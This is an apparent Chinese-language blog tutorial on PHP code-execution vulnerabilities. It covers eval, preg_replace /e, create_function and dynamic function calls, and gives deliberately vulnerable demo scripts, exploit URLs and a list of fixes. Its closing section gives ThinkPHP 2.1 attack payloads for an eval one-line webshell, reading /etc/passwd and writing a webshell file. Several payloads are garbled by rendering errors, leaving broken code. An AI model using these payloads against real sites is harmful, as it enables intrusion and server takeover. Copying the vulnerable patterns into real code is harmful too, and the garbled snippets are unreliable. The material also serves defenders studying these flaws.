程式碼執行

L_lemo004發表於2020-10-20

程式碼執行

當應用在呼叫一些能將字元轉化為程式碼的函式(如PHP中的eval)時,
沒有考慮使用者是否能控制這個字串,這就會造成程式碼執行漏洞。

成因:應用程式在呼叫一些能夠將字串轉換為程式碼的函式(例如php中的eval中),沒有考慮使用者是否控制這個字串,將造成程式碼執行漏洞。

概念:程式碼的執行來自於缺乏嚴格的過濾活著使用者控制資料的逃逸。在這裡由於攻擊者可以控制部分或者所有內容傳遞給這些未進行嚴格過濾的函式,從而導致提交的內容會被作為PHP程式碼執行

分類

  • 常見敏感函式(程式碼執行函式)

    • eval()

    • preg_replace()

      • 當pattern中存在/e模式修飾符,匹配上時,即允許執行replacement中的程式碼。
    • assert()

    • create_function()

    • call_user_func()

    • call_user_func_array()

    • ``反引

    • system()

    • exec()

    • shell_exec()

    • passthru()

    • pcntl_exec()

  • 檔案包含程式碼注入

    • 當檔案包含函式(include、include_once、require、require_once)中包含輸入變數時,可能導致程式碼注射。
    • 條件:allow_url_include=On,PHP Version>=5.2.0
  • 正則表達程式碼注入

    • preg_replace()函式:

    • 當pattern中存在/e模式修飾符,匹配上時,即允許執行replacement中的程式碼。

    • 第一個(pattern)引數注入

      • 條件:magic_quotes_gpc=Off,pattern引數中注入/e選項;

      • demo code:

      •   <?php
              echo $regexp = $_GET['reg'];
          
          $var = '<php>phpinfo()</php>';
          
          preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>
        
      • 訪問http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e

      • 即會執行phpinfo()

    • 第二個人(replacement)引數注入

      • 條件:pattern引數中帶/e
      • <?phppreg_replace("/testxxx/e",$_GET['h'],"jutst test testxxx!");?>
      • 提交 http://127.0.0.1/demo2.php?h=phpinfo()時, 即 執行phpinfo()。
  • 動態程式碼執行

    • 動態變數程式碼執行

      • <?php$dyn_func = $_GET['dyn_func'];
      • $argument = $_GET[‘argument’];
      • d y n f u n c ( dyn_func( dynfunc(argument);?>
      • 當http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig時,執行ipconfig命令
    • 動態函式程式碼執行

      • 關鍵函式:create_function
      • demo code:
      • <?php$foobar = $_GET['foobar'];$dyn_func = create_function('$foobar', "echo $foobar;");$dyn_func('');?>
      • 當提交http://127.0.0.1/create_function.php?foobar=system%28dir%29時,執行dir命令
  • 其他

    • array_map()函式
    • ob_start()函式???
    • 函式處理函式:http://www.php.net/manual/zh/book.funchand.php

修復

  • 升級到PHP 7.1,該版本對大部分常見的執行動態程式碼的方法進行了封堵。
  • php.ini中,關閉“allow_url_fopen”。在開啟它的情況下,可以通過 phar:// 等協議丟給include,讓其執行動態程式碼。
  • php.ini中,通過disable_functions關閉 exec,passthru,shell_exec,system 等函式,禁止PHP呼叫外部程式。
  • 永遠不要在程式碼中使用eval。
  • 設定好上傳資料夾的許可權,禁止從該資料夾執行程式碼。
  • include 檔案的時候,注意檔案的來源;需要動態include時做好引數過濾。
  • 對於preg_replace()函式,要放棄使用/e修飾符,也可以使用preg_replace_callback()函式代替。如果一定要使用該函式,請保證第二個引數中,對於正則匹配出的物件用單引號包裹 因為mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e 修正符使 preg_replace() 將 replacement 引數當作 PHP 程式碼(在適當的逆向引用替換完之後)。

具體操作

一般找CMS相應版本漏洞,如ThinkPHP2.1

  • 一句話

http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[aa])}}

  • 得到當前路徑

http://www.xxx.com/News/detail/id/{${print(getcwd()))}}

  • 讀檔案
  • http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_get_contents(_POST[‘f’])))}}

  • POST的資料為:f=/etc/passwd

    • 寫shell
  • http://www.xxx.com/News/detail/id/{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_put_contents(_POST[‘f’],$_POST[d])))}}

  • POST的資料為:f=1.php&d=<?php @eval($_POST['aa'])?>

漏洞分類

  • 執行程式碼的函式:eval、assert
  • callback函式:preg_replace + /e模式
  • 反序列化:unserialize()(反序列化函式)

相關文章